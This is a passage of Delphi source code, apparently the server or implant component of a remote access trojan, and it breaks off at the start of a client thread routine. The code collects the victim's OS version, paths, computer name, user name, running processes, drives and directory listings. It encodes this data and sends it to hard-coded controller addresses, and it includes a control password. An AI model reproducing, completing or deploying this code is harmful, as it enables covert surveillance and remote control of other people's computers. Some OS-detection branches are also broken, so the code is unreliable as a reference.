program Server;

uses
  Windows, Winsock, TlHelp32, ShellAPI, FunUnit, SocketUnit;

function SendBuffer(hSocket: TSocket; bySocketCmd: Byte; lpszBuffer: PChar; iBufferLen: Integer): Boolean; stdcall;
var
  lpszSendBuffer: Pointer;
  szSendBuffer: Array[0..4095] Of Char;
  iSendLen: Integer;
begin
  Result := False;
  
  ZeroMemory(@szSendBuffer, SizeOf(szSendBuffer));
  lpszSendBuffer := Pointer(DWORD(@szSendBuffer) + SizeOf(TSocketHeader));
  if ((iBufferLen > 0) and (lpszBuffer <> nil)) then
  begin
    CopyMemory(lpszSendBuffer, lpszBuffer, iBufferLen);
  end;
  with LPSocketHeader(@szSendBuffer)^ do
  begin
    dwSocketLen := iBufferLen + 1;
    bSocketCmd := bySocketCmd;
  end;
  Dec(DWORD(lpszSendBuffer));
  EnDeCode(lpszSendBuffer, iBufferLen + 1, @szKeyBuffer, SizeOf(szKeyBuffer));
  iBufferLen := iBufferLen + SizeOf(TSocketHeader);
  iSendLen := send(hSocket, szSendBuffer, iBufferLen, 0);
  if (iSendLen = iBufferLen) then Result := True;
  Sleep(0);
end;

function RecvBuffer(hSocket: TSocket; lpszBuffer: PChar; iBufferLen: Integer; iTimeOut: Integer): Integer; stdcall;
var
  //szBuffer: Array[0..MAX_PATH] Of Char;
  lpTempBuffer: PChar;
  FDset: TFDset;
  TimeVal: TTimeVal;
begin
  Result := 0;
  FillChar(lpszBuffer^, iBufferLen, 0);

  lpTempBuffer := lpszBuffer;
  while (iBufferLen > 0) do
  begin
    //  設置等待時間
    FDset.fd_count := 1;
    FDset.fd_array[0] := hSocket;
    TimeVal.tv_sec := iTimeOut;
    TimeVal.tv_usec := 0;
    Result := select(0, @FDset, nil, nil, @TimeVal);
    if (Result = SOCKET_ERROR) or (Result = 0) then
    begin
      Result := Result;
      //ZeroMemory(@szBuffer, SizeOf(szBuffer));
      //wsprintf(szBuffer, '[1].WSAGetLastError: %d, GetLastError: %d', WSAGetLastError(), GetLastError());
      //MessageBox(0, szBuffer, nil, 0);
      Break;
    end;
    if (Result > 0) then
    begin
      Result := recv(hSocket, lpTempBuffer^, iBufferLen, 0);
      if (Result = SOCKET_ERROR) then
      begin
        //ZeroMemory(@szBuffer, SizeOf(szBuffer));
        //wsprintf(szBuffer, '[2].WSAGetLastError: %d, GetLastError: %d', WSAGetLastError(), GetLastError());
        //MessageBox(0, szBuffer, nil, 0);
        Break;
      end;

      lpTempBuffer := PChar(DWORD(lpTempBuffer) + DWORD(Result));
      iBufferLen := iBufferLen - Result;
    end;
  end;
end;
//==============================================================================

//  獲取計算機基本信息
function GetClientBaseInfo(hSocket: TSocket): Boolean;
var
  dwNameLen: DWORD;
  szUserName: Array[0..MAX_PATH] of Char;
  szGetComputerName: Array[0..MAX_PATH] of Char;
  osVerInfo: TOSVersionInfo;
  imajorVer, iminorVer, iCutOS: Integer;
  dwStartTime: DWORD;
  szSystemPath: Array[0..MAX_PATH] of Char;
  szWindowsPath: Array[0..MAX_PATH] of Char;
  szSelfPath: Array[0..MAX_PATH] of Char;

  szBaseInfo: Array[0..1023] of Char;
begin
  ZeroMemory(@szBaseInfo, SizeOf(szBaseInfo));

  //  獲取當前OS版本
  iCutOS := cOsUnknown;
  osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if GetVersionEx(osVerInfo) then
  begin
    imajorVer := osVerInfo.dwMajorVersion;
    iminorVer := osVerInfo.dwMinorVersion;

    case osVerInfo.dwPlatformId of
      VER_PLATFORM_WIN32_WINDOWS:
      begin
        if (imajorVer = 4) then
        begin
          if (iminorVer = 0) then
          begin
            iCutOS := cOsWin95;
          end else if (iminorVer = 0) then
          begin
            iCutOS := cOsWin98;
          end else if (iminorVer = 0) then
          begin
            iCutOS := cOsWinME;
          end;
        end;
      end;

      VER_PLATFORM_WIN32_NT:
      begin
        case imajorVer of

          3: iCutOS := cOsWinNT3; 

          4: iCutOS := cOsWinNT4;

          5:
          begin
            if (iminorVer = 0) then
            begin
              iCutOS := cOsWin2K;
            end else if (iminorVer = 1) then
            begin
              iCutOS := cOsWinXP;
            end;
          end;

        end;
      end;
    end;
  end;

  //  獲取開機時間
  dwStartTime := GetTickCount() div 1000;

  //  獲取路徑
  szSystemPath[GetSystemDirectory(szSystemPath, MAX_PATH)] := #0;
  szWindowsPath[GetWindowsDirectory(szWindowsPath, MAX_PATH)] := #0;
  szSelfPath[GetModuleFileName(0, szSelfPath, MAX_PATH)] := #0;

  //  獲取計算機信息
  dwNameLen := MAX_PATH;
  GetComputerName(szGetComputerName, dwNameLen);
  
  dwNameLen := MAX_PATH;
  GetUserName(szUserName, dwNameLen);

  //  組合系統基本信息
  ZeroMemory(@szBaseInfo, MAX_PATH);
  wsprintf(szBaseInfo, '%c1%d%c2%d%c3%s%c4%s%c5%s%c6%s%c7%s%c8%s%c9%d%ca%s%cb%s%cc%s%cd%s',
          CDelimiter,
          iCutOS,               //  OS版本

          CDelimiter,
          dwStartTime,          //  開機時間

          CDelimiter,
          szSystemPath,         //  System路徑

          CDelimiter,
          szWindowsPath,        //  Windows路徑

          CDelimiter,
          CStr_MasterAddress1,  //  連接地址1

          CDelimiter,
          CStr_MasterAddress2,  //  連接地址2

          CDelimiter,
          CStr_MasterAddress3,  //  連接地址3

          CDelimiter,
          'http://www.hackeroo.com',    //  版本信息

          CDelimiter,
          CStr_MasterPort,      //  連接端口

          CDelimiter,
          szSelfPath,           //  安裝路徑

          CDelimiter,
          'mypass',             //  控制密碼

          CDelimiter,
          szGetComputerName,    //  計算機名稱

          CDelimiter,
          szUserName            //  當前用戶名
  );

  Result := SendBuffer(hSocket, CSocket_SendBaseInfo, szBaseInfo, lstrlen(szBaseInfo) + 1);
end;

//  獲取進程列表
function GetProcessList(hSocket: TSocket): Boolean;
var
  iFullLen, iSubLen: Integer;
  lpszBuffer: PChar;
  szBuffer: Array[0..300] Of Char;

  Process32: TProcessEntry32;
  hProcessSnapshot: THandle;
  Module32: TModuleEntry32;
  hModuleSnapshot: THandle;
begin
  Result := False;
  lpszBuffer := Pointer(GlobalAlloc(GMEM_FIXED or GMEM_ZEROINIT, 4096));
  if (lpszBuffer = nil) then Exit;

  iFullLen := 0;
  hProcessSnapshot := CreateToolHelp32SnapShot(TH32CS_SNAPALL, 0);
  try
    Process32.dwSize := SizeOf(TProcessEntry32);
    Process32First(hProcessSnapshot, Process32);
    repeat
      //  枚舉進程路徑
      hModuleSnapshot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, Process32.th32ProcessID);
      Module32.dwSize := SizeOf(TModuleEntry32);
      Module32First(hModuleSnapshot, Module32);
      CloseHandle(hModuleSnapshot);

      if ((Module32.szExePath[1] <> ':') and (Module32.szExePath[1] <> '?')) then
      begin
        Continue;
      end;
      ZeroMemory(@szBuffer, SizeOf(szBuffer));
      iSubLen := wsprintf(szBuffer, '%c2%s%c3%d',
          CDelimiter,
          Module32.szExePath,         //  進程路徑

          CDelimiter,
          Process32.th32ProcessID
      );

      if (iFullLen >= 4096) then
      begin
        iFullLen := iFullLen + iSubLen;
        lpszBuffer := Pointer(GlobalReAlloc(DWORD(lpszBuffer), iFullLen, GMEM_FIXED or GMEM_MOVEABLE));
        if (lpszBuffer = nil) then Break;
        lstrcat(lpszBuffer, szBuffer);
      end else
      begin
        iFullLen := iFullLen + iSubLen;
        lstrcat(lpszBuffer, szBuffer);
      end;

    until not (Process32Next(hProcessSnapshot, Process32));
    Result := SendBuffer(hSocket, CSocket_SendProcess, lpszBuffer, iFullLen + 1);
  finally
    CloseHandle(hProcessSnapshot);
    GlobalFree(DWORD(lpszBuffer));
  end;
end;

//  獲取驅動器列表
function GetDriveList(hSocket: TSocket): Boolean;
var
  lpszDrive: PChar;
  szDriveListBuffer: Array[0..1023] Of Char;
  szBuffer: Array[0..MAX_PATH] Of Char;
  szDriveInfo: Array[0..15] Of Char;
  cDrive: Char;
  iCount, iLoop: Integer;
begin
  ZeroMemory(@szDriveListBuffer, SizeOf(szDriveListBuffer));
  
  iCount := GetLogicalDriveStrings(MAX_PATH, szBuffer) div 4;
  for iLoop := 0 to iCount - 1 do
  begin
    lpszDrive := PChar(@szBuffer[iLoop * 4]);
    case GetDriveType(lpszDrive) of
      DRIVE_FIXED:      cDrive := 'F';
      DRIVE_CDROM:      cDrive := 'C';
      DRIVE_REMOVABLE:  cDrive := 'R';
    else
      cDrive := 'F';
    end;
    wsprintf(szDriveInfo, '%c%c%c%c',
              CDelimiter,     //  分隔符
              cDrive,         //  磁盤類型
              lpszDrive[0],   //  磁盤名稱
              lpszDrive[1]
    );
    lstrcat(szDriveListBuffer, szDriveInfo);
  end;
  Result := SendBuffer(hSocket, CSocket_SendListDrive, szDriveListBuffer, lstrlen(szDriveListBuffer) + 1);
end;

//  獲取文件目錄信息
function GetListPathFile(hSocket: TSocket; lpszListPath: PChar): Boolean;
var
  hFindHandle: THandle;
  SearchRec: TWIN32FindData;
  szDirectory: Array[0..MAX_PATH] Of Char;
  szFileInfo: Array[0..299] Of Char;
  lpszSendBuffer: PChar;
  iFullLen, iStrLen: Integer;
  i64DiskSize: Int64;
begin
  Result := False;
  iFullLen := 0;

  //  檢測驅動器是否可用
  if (lstrlen(lpszListPath) = 3) then
  begin
    if Not GetDiskFreeSpaceExA(lpszListPath, i64DiskSize, i64DiskSize, nil) then
    begin
      ZeroMemory(@szDirectory, SizeOf(szDirectory));
      lstrcat(szDirectory, '21');
      Result := SendBuffer(hSocket, CSocket_SendDriveError, szDirectory, lstrlen(szDirectory) + 1);
      Exit;
    end;
  end;
  //  組合文件名
  ZeroMemory(@szDirectory, MAX_PATH);
  lstrcat(szDirectory, lpszListPath);
  if (szDirectory[lstrlen(szDirectory)] = '\') then lstrcat(szDirectory, '\');
  lstrcat(szDirectory, '*.*');

  lpszSendBuffer := Pointer(GlobalAlloc(GMEM_FIXED or GMEM_ZEROINIT, 4096));
  if (lpszSendBuffer = nil) then Exit;

  hFindHandle := FindFirstFile(szDirectory, SearchRec);
  if (hFindHandle <> INVALID_HANDLE_VALUE) then
  begin
    repeat
      if (lstrlen(SearchRec.cFileName) = 1) and (SearchRec.cFileName[0] = '.') then Continue;

      ZeroMemory(@szFileInfo, SizeOf(szFileInfo));
      //  判斷是否是目錄
      if ((SearchRec.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) <> 0) then
      begin
        iStrLen := wsprintf(szFileInfo, '%c1%s%c3D',
          CDelimiter,               //  分隔符
          SearchRec.cFileName,      //  文件名
          CDelimiter                //  分隔符
        );
      end else
      begin
        iStrLen := wsprintf(szFileInfo, '%c2%s%c3%d',
          CDelimiter,               //  分隔符
          SearchRec.cFileName,      //  文件名
          CDelimiter,               //  分隔符
          SearchRec.nFileSizeLow
        );
      end;
      lstrcat(lpszSendBuffer, szFileInfo);
      iFullLen := iFullLen + iStrLen;
      //  判斷數據是否大于緩沖區---大于就發送出去
      if (iFullLen > 3500) then
      begin
        SendBuffer(hSocket, CSocket_SendListFile, lpszSendBuffer, iFullLen + 1);
        iFullLen := 0;
        ZeroMemory(lpszSendBuffer, 4096);
      end;
    until (Not FindNextFile(hFindHandle, SearchRec));
    if (iFullLen <> 0) then
    begin
      SendBuffer(hSocket, CSocket_SendListFile, lpszSendBuffer, iFullLen + 1);
      ZeroMemory(lpszSendBuffer, 4096);      
    end;
    FindClose(hFindHandle);
  end else
  begin
    //  發送目錄獲取失敗信息
    ZeroMemory(@szDirectory, SizeOf(szDirectory));
    lstrcat(szDirectory, '123');
    SendBuffer(hSocket, CSocket_SendDriveError, szDirectory, lstrlen(szDirectory) + 1);
  end;
  GlobalFree(DWORD(lpszSendBuffer));
  //  發送目錄信息傳送完畢指令
  Result := SendBuffer(hSocket, CSocket_SendListFileEnd, nil, 1);
end;


//==============================================================================
function ClientThread(lpParameter: Pointer): DWORD; stdcall;
var
  szBuffer: Array[0..MAX_PATH - 1] Of Char;
  //szDebugBuffer: Array[0..4095] Of Char;
  hSocket: TSocket;
  dwBufferLen: DWORD;